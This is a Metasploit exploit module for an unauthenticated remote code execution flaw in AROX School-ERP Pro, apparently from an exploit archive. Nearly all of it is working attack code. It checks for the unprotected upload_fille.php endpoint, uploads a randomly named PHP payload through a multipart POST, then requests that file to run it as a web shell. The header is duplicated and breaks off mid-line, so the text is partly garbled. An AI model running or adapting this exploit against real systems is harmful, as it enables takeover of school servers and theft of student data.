AROX School-ERP Pro Unauthenticated Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exp ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => "AROX School-ERP Pro Unauthenticated Remote Code Execution",
'Description' => %q(
This module exploits a command execution vulnerability in AROX School-ERP.
"import_stud.php" and "upload_fille.php" do not have session control.
Session start/check functions in Line 8,9,10 are disabled with slashes.
Therefore an unathenticated user can execute the command on the system.
),
'License' => MSF_LICENSE,
'Author' =>
[
'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module
],
'References' =>
[
['URL', 'http://www.pentest.com.tr/exploits/AROX-School-ERP-Pro-Unauthenticated-RCE-Metasploit.html'],
['URL', 'https://sourceforge.net/projects/school-erp-ultimate/'] # Download
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Automatic', {}]],
'Privileged' => false,
'DisclosureDate' => "Jun 17 2019",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, "Base ERP directory path", '/'])
]
)
end

def exec(shell)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "greatbritain", "greatbritain", "upload_data", "#{shell}") # shell url
})
end

def upload_shell(check)

fname = Rex::Text.rand_text_alpha_lower(8) + ".php"
@shell = "#{fname}"
pdata = Rex::MIME::Message.new
pdata.add_part("" + payload.encoded, 'application/octet-stream', nil, "form-data; name="txtdocname"; filename="#{fname}"")
pdata.add_part('Submit', nil, nil, 'form-data; name="btnsubmit"')
data = pdata.to_s

res = send_request_cgi({
'method' => 'POST',
'data' => data,
'agent' => 'Mozilla',
'ctype' => "multipart/form-data; boundary=#{pdata.bound}",
'uri' => normalize_uri(target_uri.path, "greatbritain", "greatbritain", "upload_fille.php")
})

if res && res.code == 200 && res.body =~ /Successfully/
print_status("Trying to upload #{fname}")
return true
else
fail_with(Failure::NoAccess, 'Error occurred during uploading!')
return false
end
end

def exploit
unless Exploit::CheckCode::Vulnerable == check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end

if upload_shell(true)
print_good("Upload successfully.")
exec(@shell)
end
end

def check

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "greatbritain", "greatbritain", "upload_fille.php")
})

unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end

if res && res.code == 200 && res.body =~ /upload_fille.php/
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
end